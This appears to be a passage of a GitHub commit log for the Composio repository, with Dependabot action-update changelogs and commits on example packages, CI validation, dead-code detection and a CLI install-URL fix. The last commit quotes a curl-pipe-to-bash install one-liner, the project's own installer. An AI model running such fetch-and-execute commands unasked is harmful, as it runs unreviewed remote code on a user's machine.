href="https://redirect.github.com/anthropics/claude-code-action/issues/1241">#1241</a>)</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/235b39bf21ce5bca22c31b37d171bd6e27cdd743"><code>235b39b</code></a> fix: preserve repeated add-dir flags in claude args (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1256">#1256</a>)</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/d060ddc96310109df573e19c7c458b84816c6af6"><code>d060ddc</code></a> fix(restore): handle symlinked CLAUDE.md paths during config snapshot (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1441">#1441</a>)</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/0f07aee43515c58828104d3f2391785c2c565dd5"><code>0f07aee</code></a> Use modern noreply email for co-author trailers (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1369">#1369</a>)</li> <li>Additional commits viewable in <a href="https://github.com/anthropics/claude-code-action/compare/769e3bdff9bb7ecfb51bad4c9cba23d6f5fc5ea5...536f2c32a39763739000b0e1ac69ca2647d97ce9">compare view</a></li> </ul> </details> <br /> Updates `openai/codex-action` from 1.10 to 1.11 <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/openai/codex-action/blob/main/CHANGELOG.md">openai/codex-action's changelog</a>.</em></p> <blockquote> <h1>codex-action Changelog</h1> <h2><a href="https://github.com/openai/codex-action/tree/v1.11">v1.11</a> (2026-07-04)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/116">#116</a> keep the permission profile helper backward compatible</li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.10">v1.10</a> (2026-07-02)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/113">#113</a> add Codex permission profile support</li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.9">v1.9</a> (2026-06-22)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/85">#85</a> update the internal <code>setup-node</code> pin to <code>v6.3.0</code></li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.8">v1.8</a> (2026-04-29)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/91">#91</a> tighten what bots are allowed</li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.7">v1.7</a> (2026-04-24)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/89">#89</a> restrict bot permission bypass</li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.6">v1.6</a> (2026-03-16)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/77">#77</a> enable GitHub-hosted Linux bubblewrap support</li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.5">v1.5</a> (2026-03-16)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/74">#74</a> harden shell interpolation in action workflows</li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.4">v1.4</a> (2025-11-19)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/58">#58</a> revert <a href="https://redirect.github.com/openai/codex-action/issues/56">#56</a> and use the latest stable version of Codex CLI again</li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.3">v1.3</a> (2025-11-19)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/56">#56</a> temporarily set the default version of Codex CLI to <code>0.58.0</code></li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.2">v1.2</a> (2025-11-07)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/52">#52</a> add <code>baseUrl</code> to <code>Octokit</code> constructor, if appropriate, for GHE</li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.1">v1.1</a> (2025-11-05)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/47">#47</a> added support for Azure via the new <code>responses-api-endpoint</code> parameter</li> <li><a href="https://redirect.github.com/openai/codex-action/pull/36">#36</a> added <code>effort</code> parameter</li> <li><a href="https://redirect.github.com/openai/codex-action/pull/45">#45</a> pin the commit hash of the <code>actions/setup-node</code> action used by <code>openai/codex-action</code></li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.0">v1.0</a> (2025-10-06)</h2> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/openai/codex-action/commit/52fe01ec70a42f454c9d2ebd47598f9fd6893d56"><code>52fe01e</code></a> fix: keep permission profile helper backward compatible (<a href="https://redirect.github.com/openai/codex-action/issues/116">#116</a>)</li> <li><a href="https://github.com/openai/codex-action/commit/0d2a018b4dacc6b0eaa3918e0d2780df6d6fd23e"><code>0d2a018</code></a> docs: update CHANGELOG for v1.10 (<a href="https://redirect.github.com/openai/codex-action/issues/114">#114</a>)</li> <li>See full diff in <a href="https://github.com/openai/codex-action/compare/6b771854be52d8637d060e4b15120b9d746282ab...52fe01ec70a42f454c9d2ebd47598f9fd6893d56">compare view</a></li> </ul> </details> <br /> Updates `anthropics/claude-code-action/base-action` from 1.0.163 to 1.0.170 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/anthropics/claude-code-action/releases">anthropics/claude-code-action/base-action's releases</a>.</em></p> <blockquote> <h2>v1.0.170</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.170">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.170</a></p> <h2>v1.0.169</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.169">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.169</a></p> <h2>v1.0.168</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.168">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.168</a></p> <h2>v1.0.167</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.167">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.167</a></p> <h2>v1.0.166</h2> <h2>What's Changed</h2> <ul> <li>Drop buffered inline comment when it is posted live (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1405">#1405</a>) by <a href="https://github.com/archievi"><code>@archievi</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1412">anthropics/claude-code-action#1412</a></li> <li>Use modern noreply email for co-author trailers by <a href="https://github.com/tarunag10"><code>@tarunag10</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1369">anthropics/claude-code-action#1369</a></li> <li>fix(restore): handle symlinked CLAUDE.md paths during config snapshot by <a href="https://github.com/syf2211"><code>@syf2211</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1441">anthropics/claude-code-action#1441</a></li> <li>fix: preserve repeated add-dir flags in claude args by <a href="https://github.com/Jerry2003826"><code>@Jerry2003826</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1256">anthropics/claude-code-action#1256</a></li> <li>fix: propagate curl failures in install pipeline by <a href="https://github.com/akhilesharora"><code>@akhilesharora</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1241">anthropics/claude-code-action#1241</a></li> <li>chore: fix prettier formatting by <a href="https://github.com/ashwin-ant"><code>@ashwin-ant</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1463">anthropics/claude-code-action#1463</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/archievi"><code>@archievi</code></a> made their first contribution in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1412">anthropics/claude-code-action#1412</a></li> <li><a href="https://github.com/syf2211"><code>@syf2211</code></a> made their first contribution in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1441">anthropics/claude-code-action#1441</a></li> <li><a href="https://github.com/akhilesharora"><code>@akhilesharora</code></a> made their first contribution in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1241">anthropics/claude-code-action#1241</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.166">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.166</a></p> <h2>v1.0.165</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.165">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.165</a></p> <h2>v1.0.164</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.164">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.164</a></p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/anthropics/claude-code-action/commit/536f2c32a39763739000b0e1ac69ca2647d97ce9"><code>536f2c3</code></a> chore: bump Claude Code to 2.1.206 and Agent SDK to 0.3.206</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/37b464ce72700f7b2c5ff8d2db7fa7b15df792f5"><code>37b464c</code></a> chore: bump Claude Code to 2.1.205 and Agent SDK to 0.3.205</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/ba0aafd4308cbba7165f9f2cdb0cfbed5a3c99ce"><code>ba0aafd</code></a> chore: bump Claude Code to 2.1.204 and Agent SDK to 0.3.204</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/0fe28cdb64e23015219b0e478100b7105fd7dfa1"><code>0fe28cd</code></a> chore: bump Claude Code to 2.1.203 and Agent SDK to 0.3.203</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/f87768c6d25f92ae6efa7175e223ef77d4cbf97f"><code>f87768c</code></a> chore: bump Claude Code to 2.1.202 and Agent SDK to 0.3.202</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/58a2944bbcf1a73b1ae7960995fffca4fa29b113"><code>58a2944</code></a> chore: fix prettier formatting (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1463">#1463</a>)</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/beb753ed7288e960e1519e0bf631be7b502af876"><code>beb753e</code></a> fix: propagate curl failures in install pipeline (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1241">#1241</a>)</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/235b39bf21ce5bca22c31b37d171bd6e27cdd743"><code>235b39b</code></a> fix: preserve repeated add-dir flags in claude args (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1256">#1256</a>)</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/d060ddc96310109df573e19c7c458b84816c6af6"><code>d060ddc</code></a> fix(restore): handle symlinked CLAUDE.md paths during config snapshot (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1441">#1441</a>)</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/0f07aee43515c58828104d3f2391785c2c565dd5"><code>0f07aee</code></a> Use modern noreply email for co-author trailers (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1369">#1369</a>)</li> <li>Additional commits viewable in <a href="https://github.com/anthropics/claude-code-action/compare/769e3bdff9bb7ecfb51bad4c9cba23d6f5fc5ea5...536f2c32a39763739000b0e1ac69ca2647d97ce9">compare view</a></li> </ul> </details> <br /> Updates `actions/stale` from 10.3.0 to 10.4.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/actions/stale/releases">actions/stale's releases</a>.</em></p> <blockquote> <h2>v10.4.0</h2> <h2>What's Changed</h2> <h3>Bug Fix</h3> <ul> <li>Fixed <code>only-issue-types</code> validation by <a href="https://github.com/trueberryless"><code>@trueberryless</code></a> in <a href="https://redirect.github.com/actions/stale/pull/1338">actions/stale#1338</a></li> </ul> <h3>Dependency Updates</h3> <ul> <li>Bump undici to 6.27.0 via override, clean up stale license files, and version to 10.4.0. by <a href="https://github.com/dependabot"><code>@dependabot</code></a> in <a href="https://redirect.github.com/actions/stale/pull/1342">actions/stale#1342</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/trueberryless"><code>@trueberryless</code></a> made their first contribution in <a href="https://redirect.github.com/actions/stale/pull/1338">actions/stale#1338</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/actions/stale/compare/v10.3.0...v10.4.0">https://github.com/actions/stale/compare/v10.3.0...v10.4.0</a></p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/actions/stale/commit/1e223db275d687790206a7acac4d1a11bd6fe629"><code>1e223db</code></a> Bump undici to 6.27.0 via override, clean up stale license files, and version...</li> <li><a href="https://github.com/actions/stale/commit/9461cb10066d1553762bac6a02599ab8c26b14dd"><code>9461cb1</code></a> fix: <code>only-issue-types</code> does not affect PRs (<a href="https://redirect.github.com/actions/stale/issues/1338">#1338</a>)</li> <li>See full diff in <a href="https://github.com/actions/stale/compare/eb5cf3af3ac0a1aa4c9c45633dd1ae542a27a899...1e223db275d687790206a7acac4d1a11bd6fe629">compare view</a></li> </ul> </details> <br /> Updates `denoland/setup-deno` from 2.0.4 to 2.0.5 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/denoland/setup-deno/releases">denoland/setup-deno's releases</a>.</em></p> <blockquote> <h2>v2.0.5</h2> <h2>What's Changed</h2> <ul> <li>fix: update README and tests by <a href="https://github.com/crowlKats"><code>@crowlKats</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/85">denoland/setup-deno#85</a></li> <li>2.0.1 by <a href="https://github.com/crowlKats"><code>@crowlKats</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/86">denoland/setup-deno#86</a></li> <li>Add problem matchers for <code>deno lint</code> by <a href="https://github.com/r7kamura"><code>@r7kamura</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/62">denoland/setup-deno#62</a></li> <li>refactor: use GitHub downloads for stable version download by <a href="https://github.com/crowlKats"><code>@crowlKats</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/91">denoland/setup-deno#91</a></li> <li>2.0.2 by <a href="https://github.com/crowlKats"><code>@crowlKats</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/92">denoland/setup-deno#92</a></li> <li>refactor: convert action to TS and bundle code by <a href="https://github.com/csvn"><code>@csvn</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/95">denoland/setup-deno#95</a></li> <li>feat: add "lts" version option by <a href="https://github.com/sebdanielsson"><code>@sebdanielsson</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/97">denoland/setup-deno#97</a></li> <li>feat: add built-in caching via inputs by <a href="https://github.com/csvn"><code>@csvn</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/89">denoland/setup-deno#89</a></li> <li>feat: include a hash of deno.lock files in the cache key automatically by <a href="https://github.com/dsherret"><code>@dsherret</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/98">denoland/setup-deno#98</a></li> <li>fix: switch back to package.json as it's necessary for GH actions by <a href="https://github.com/dsherret"><code>@dsherret</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/101">denoland/setup-deno#101</a></li> <li>2.0.3 by <a href="https://github.com/crowlKats"><code>@crowlKats</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/102">denoland/setup-deno#102</a></li> <li>Update actions/checkout by <a href="https://github.com/katayama8000"><code>@katayama8000</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/106">denoland/setup-deno#106</a></li> <li>docs: add lts as possible release-channel output by <a href="https://github.com/csvn"><code>@csvn</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/99">denoland/setup-deno#99</a></li> <li>docs: condense Deno version information in one section by <a href="https://github.com/csvn"><code>@csvn</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/100">denoland/setup-deno#100</a></li> <li>docs: fix identifier for latest stable release by <a href="https://github.com/Ms2ger"><code>@Ms2ger</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/115">denoland/setup-deno#115</a></li> <li>feat: upgrade Node.js runtime from node20 to node24 by <a href="https://github.com/nikicat"><code>@nikicat</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/123">denoland/setup-deno#123</a></li> <li>2.0.4 by <a href="https://github.com/crowlKats"><code>@crowlKats</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/125">denoland/setup-deno#125</a></li> <li>chore: use versions.json from dl.deno.land by <a href="https://github.com/crowlKats"><code>@crowlKats</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/130">denoland/setup-deno#130</a></li> <li>2.0.5 by <a href="https://github.com/crowlKats"><code>@crowlKats</code></a> in <a href="https://redirect.github.com/denoland/setup-deno/pull/131">denoland/setup-deno#131</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/r7kamura"><code>@r7kamura</code></a> made their first contribution in <a href="https://redirect.github.com/denoland/setup-deno/pull/62">denoland/setup-deno#62</a></li> <li><a href="https://github.com/csvn"><code>@csvn</code></a> made their first contribution in <a href="https://redirect.github.com/denoland/setup-deno/pull/95">denoland/setup-deno#95</a></li> <li><a href="https://github.com/sebdanielsson"><code>@sebdanielsson</code></a> made their first contribution in <a href="https://redirect.github.com/denoland/setup-deno/pull/97">denoland/setup-deno#97</a></li> <li><a href="https://github.com/katayama8000"><code>@katayama8000</code></a> made their first contribution in <a href="https://redirect.github.com/denoland/setup-deno/pull/106">denoland/setup-deno#106</a></li> <li><a href="https://github.com/Ms2ger"><code>@Ms2ger</code></a> made their first contribution in <a href="https://redirect.github.com/denoland/setup-deno/pull/115">denoland/setup-deno#115</a></li> <li><a href="https://github.com/nikicat"><code>@nikicat</code></a> made their first contribution in <a href="https://redirect.github.com/denoland/setup-deno/pull/123">denoland/setup-deno#123</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/denoland/setup-deno/compare/v2.0.0...v2.0.5">https://github.com/denoland/setup-deno/compare/v2.0.0...v2.0.5</a></p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/denoland/setup-deno/commit/22d081ff2d3a40755e97629de92e3bcbfa7cf2ed"><code>22d081f</code></a> 2.0.5 (<a href="https://redirect.github.com/denoland/setup-deno/issues/131">#131</a>)</li> <li><a href="https://github.com/denoland/setup-deno/commit/28c677f5df3d8f072e45566ed931347ae6325d53"><code>28c677f</code></a> chore: use versions.json from dl.deno.land (<a href="https://redirect.github.com/denoland/setup-deno/issues/130">#130</a>)</li> <li><a href="https://github.com/denoland/setup-deno/commit/ff4860f9d7236f320afa0f82b7e6457384805d05"><code>ff4860f</code></a> 2.0.4 (<a href="https://redirect.github.com/denoland/setup-deno/issues/125">#125</a>)</li> <li><a href="https://github.com/denoland/setup-deno/commit/6a293fc1a20bd1d541577761b3169054c853c099"><code>6a293fc</code></a> feat: upgrade Node.js runtime from node20 to node24 (<a href="https://redirect.github.com/denoland/setup-deno/issues/123">#123</a>)</li> <li><a href="https://github.com/denoland/setup-deno/commit/390061ada6be77a29ed6544d545349413e1f645c"><code>390061a</code></a> docs: fix identifier for latest stable release (<a href="https://redirect.github.com/denoland/setup-deno/issues/115">#115</a>)</li> <li><a href="https://github.com/denoland/setup-deno/commit/bdaa2e4f849cbc8d7b46337cf37db0dc9b321074"><code>bdaa2e4</code></a> docs: condense Deno version information in one section (<a href="https://redirect.github.com/denoland/setup-deno/issues/100">#100</a>)</li> <li><a href="https://github.com/denoland/setup-deno/commit/e4ff81cdb2791c6378ce29a7fbf02fc798992f78"><code>e4ff81c</code></a> docs: add lts as possible release-channel output (<a href="https://redirect.github.com/denoland/setup-deno/issues/99">#99</a>)</li> <li><a href="https://github.com/denoland/setup-deno/commit/bac1f7276ce08dba2dadbc204ad8385615bf7bdb"><code>bac1f72</code></a> Update actions/checkout (<a href="https://redirect.github.com/denoland/setup-deno/issues/106">#106</a>)</li> <li><a href="https://github.com/denoland/setup-deno/commit/2f7698fd116bfedbd1c3cd4119337b5a787ef53a"><code>2f7698f</code></a> 2.0.3 (<a href="https://redirect.github.com/denoland/setup-deno/issues/102">#102</a>)</li> <li><a href="https://github.com/denoland/setup-deno/commit/ee64dd32002995d8c023a32a49c0085d179610b1"><code>ee64dd3</code></a> fix: switch back to package.json as it's necessary for GH actions (<a href="https://redirect.github.com/denoland/setup-deno/issues/101">#101</a>)</li> <li>Additional commits viewable in <a href="https://github.com/denoland/setup-deno/compare/667a34cdef165d8d2b2e98dde39547c9daac7282...22d081ff2d3a40755e97629de92e3bcbfa7cf2ed">compare view</a></li> </ul> </details> <br /> Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> |
||
|
Alberto Schiabel
|
30ba4d2930 |
feat(openai): add executable provider example (#3798)
This PR: - builds on top of https://github.com/ComposioHQ/composio/pull/3790 - makes the OpenAI example executable in direct-tools, Tool Router, smoke, and Cloudflare Workers modes - keeps direct and Tool Router agents in separate files so each execution model is explicit and readable - requires a successful Composio tool execution before either agent can accept a final model response - adds OpenAI to the nightly staging matrix without weakening the existing Mastra coverage - updates two stale experimental OpenAI usages so the complete example package typechecks against current SDK APIs ## Testing - `pnpm --filter openai-example run typecheck` - `pnpm --filter openai-example run lint` (0 errors; 4 pre-existing warnings) - `pnpm --filter openai-example run smoke` (staging: 5 direct tools and 6 Tool Router tools) - `pnpm --filter openai-example run cf:dry-run` - `pnpm run typecheck` - `./node_modules/.bin/eslint ts/packages --ext .ts,.tsx` - `pnpm run typecheck:examples` - `pnpm run lint:examples` - `pnpm exec turbo cf:dry-run --filter='./ts/examples/*'` - [branch nightly](https://github.com/ComposioHQ/composio/actions/runs/29079263571): OpenAI and Mastra both passed smoke, direct-tools, and Tool Router against staging ## Post-deploy validation - dispatch `ts.examples-nightly.yml` on `next` after merge and confirm both matrix legs stay green - healthy runs finish within the 20-minute job budget and log successful tool-backed responses for both agent modes - revert this PR if the OpenAI leg blocks the nightly; examples maintainers own the first post-merge run and the next 06:00 UTC schedule --- [](https://github.com/EveryInc/compound-engineering-plugin)  |
||
|
Alberto Schiabel
|
b0a02c9693 |
feat(examples): make validation provider agnostic (#3790)
This PR: - makes example typecheck, lint, and Workers dry-runs discover packages by script presence instead of a Mastra-only filter - runs the nightly staging suite as a provider matrix, starting with Mastra and failing when a matrix package is missing - keeps direct and Tool Router agents explicit while sharing the Tool Router agent between Node.js and Cloudflare Workers - keeps root ESLint rules in Turbo's lint cache key and documents both Worker secrets ## Testing - `pnpm run typecheck` - `pnpm run typecheck:examples` - `./node_modules/.bin/eslint ts/packages --ext .ts,.tsx` (0 errors; 72 existing warnings) - `pnpm run lint:examples` - `pnpm exec turbo cf:dry-run --filter='./ts/examples/*'` - confirmed Turbo includes `eslint.config.mjs` in the Mastra lint task inputs - confirmed a missing provider package fails instead of silently passing the nightly smoke step ## Post-Deploy Monitoring & Validation - after merge, dispatch `ts.examples-nightly.yml` on `next` and confirm the `mastra examples against staging` matrix leg runs smoke, direct-tools, and Tool Router successfully - healthy signal: smoke reports wrapped tools and both agent steps return non-empty output - failure signal: workflow logs contain `SMOKE FAIL`, `Agent returned empty output`, `No projects matched`, or a secret preflight error; revert this PR if the foundation gate begins false-passing or blocking unrelated example work - validation window and owner: the first post-merge dispatch plus the next scheduled 06:00 UTC nightly, owned by the TypeScript examples maintainers --- [](https://github.com/EveryInc/compound-engineering-plugin)  |
||
|
Alberto Schiabel
|
15a03c10fb |
ci: add dead-code detection (knip + vulture + orphaned-CI check) (#3787)
## What Adds a **report-only** `Dead Code` CI workflow that surfaces likely-orphaned code on every PR, across all three surfaces — TypeScript, Python, and GitHub Actions. Follow-up to the root `Dockerfile` cleanup (#3783) and the dead-code sweep in #3786: instead of finding this stuff by hand, catch it automatically. | Surface | Tool | Wiring | |---|---|---| | TypeScript | [**knip**](https://knip.dev) | `knip.json`; runs via `pnpm dlx knip@5`. Finds unused files, exports, types, and dependencies. | | Python | [**vulture**](https://github.com/jendrikseipp/vulture) | `dead_code` nox session + `make dead-code`; allowlist at `python/config/vulture_allowlist.py`. Finds unused functions/classes/variables (complements Ruff's F401/F841). | | GitHub Actions | small bash script | `.github/scripts/check-orphan-ci.sh` — flags reusable workflows and composite actions with no callers. | ## Why report-only (not blocking) Every job writes findings to the run's **Step Summary** and **never fails the build**. These tools carry unavoidable false positives on a library monorepo — public API surface, dynamic imports, import-map targets (e.g. core's `#platform`), framework entry points. A red ❌ on false positives would just train everyone to ignore the check. Once a job's config is refined enough that a clean run is the steady state, it can be flipped to blocking. ## Validation (ran each locally) - **knip**: 0 unused *files* after scoping out the e2e-test workspaces (knip crashes traversing `ts/e2e-tests/**` — pre-existing knip bug, filed via `ignoreWorkspaces`) and build/docs artifacts. Export/dep categories surface advisory items. - **vulture**: clean run (report-only); allowlist suppresses the 3 `TYPE_CHECKING` re-exports in `custom_tool.py`; `build/`/`dist/` excluded. Surfaces 4 genuine minor items (`bases`, `desc`×3). - **orphan-CI script**: finds none — the repo has no orphaned CI plumbing today. - **Pinning**: `jk actions check` clean for this workflow; `actions/checkout` is SHA-pinned, the two local composite actions need no pin. Local usage is documented under **Dead code detection** in `CONTRIBUTING.md`. ## Note on scope These cover TS/Python/GHA — they would *not* have caught the root `Dockerfile` itself (an arbitrary root file no tool tracks). That class stays a manual-review concern; the orphan-CI script is the closest analogue for the CI surface. |
||
|
Alberto Schiabel
|
76881491d0 |
feat(examples): executable, CI-linked Mastra example (Tool Router + Workers) (#3788)
## What Turns the **Mastra** example into an executable reference that doubles as a test, and wires the examples into CI for the first time. First slice of the v1 "executable examples" workstream — the pattern here is the template for the other TS providers, then Python. ## Why Examples under `ts/examples/*` were unverified: the only CI tie-in is `validate-examples.ts`, which is transpile-only (no cross-file types, no lint, no execution) and passes on exactly the schema-conversion regressions we keep hitting in the Mastra provider — all closed but unprotected: - https://github.com/ComposioHQ/composio/issues/2109 (zod→json serialization crash) - https://github.com/ComposioHQ/composio/issues/3307 (`$defs` dropped while `$ref` kept) - https://github.com/mastra-ai/mastra/issues/13909 (already-JSON-Schema tools crash serialization) ## Changes **Canonical Mastra example** (`ts/examples/mastra`) - `src/index.ts` — direct tools on the unauthenticated `HACKERNEWS` toolkit - `src/tool-router.ts` — v1-canonical `composio.sessions.create(...)` → `session.tools()` (drops the deprecated bare `composio.create` alias) - `src/cloudflare.ts` — the same wrapping path on the Cloudflare Workers runtime (`export default { fetch }`) - `src/smoke.ts` — deterministic wrapping + tool-router assertions (needs only `COMPOSIO_API_KEY`) - Removed the old Gmail/MCP entries that used deprecated APIs and required auth - Runnable via `bun ts/examples/mastra/src/{index,tool-router}.ts` **Real typecheck + lint** (examples previously escaped both) - Example now has a `typecheck` script (Node + Worker tsconfigs); `typecheck:examples` / `lint:examples` scripts added - eslint now covers `ts/examples/**` with type-safety rules kept (`no-explicit-any`) and console noise allowed **Two-tier CI** - `ts.examples.yml` — per-PR **blocking**, no secrets: build → typecheck → lint → `wrangler deploy --dry-run`. This is the tier that catches the schema-conversion regressions, since a dropped `$defs`/`$ref` surfaces as a **type** error. - `ts.examples-nightly.yml` — **non-blocking**, scheduled: executes against the **staging** backend with secrets; runs the deterministic smoke always and the full agent examples when an LLM key is set. ## Verification Locally against staging: `smoke` passes (5 direct + 6 tool-router tools), `typecheck:examples` and `lint:examples` are green, the Worker `wrangler deploy --dry-run` bundles, and seeded regressions (a type error / an `any`) correctly fail their gate. ## Notes - No changeset — example packages are private/unpublished. - Follow-ups (separate PRs): template the pattern to the other TS providers, then port to `python/examples/*`. |
||
|
Anas Khan
|
57574e4f7c |
fix(cli): point CLI install URL at the next branch (#3758)
The documented one-line CLI install command curls `install.sh` from the `main` branch: ```bash curl -fsSL https://raw.githubusercontent.com/ComposioHQ/composio/main/install.sh | bash ``` But the repository's default branch is `next` and there is no `main` branch. `raw.githubusercontent.com` does not fall back to the default branch, so the documented command returns HTTP 404 and the install fails for anyone who copies it from `INSTALL.md`. This replaces the `main` branch segment with `next` in the `raw.githubusercontent.com/ComposioHQ/composio/<branch>/install.sh` URL at every documented occurrence, so the install one-liner resolves. It matches the `next` branch already used for the raw asset URL in `README.md`. `install.sh` itself needs no change: it downloads binaries from release assets, not from a branch raw URL. Fixes # <!-- No open issue; self-identified bug. Leave the Fixes line blank, or remove it. --> ### Changes - `INSTALL.md`: update the 5 `.../composio/main/install.sh` URLs to `.../composio/next/install.sh` (One-line Install, Install specific version, and the Troubleshooting / manual-download / environment-variable examples). - `.github/workflows/build-cli-binaries.yml`: same `main` -> `next` update at the 2 URLs inside the `create-install-instructions` job's heredoc, which regenerates `INSTALL.md` as a GitHub Release artifact, so the released copy carries the working URL too and stays consistent with the checked-in file. ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor/Chore - [x] Documentation - [ ] Breaking change <!-- It is a documentation URL fix that also updates the CI job which 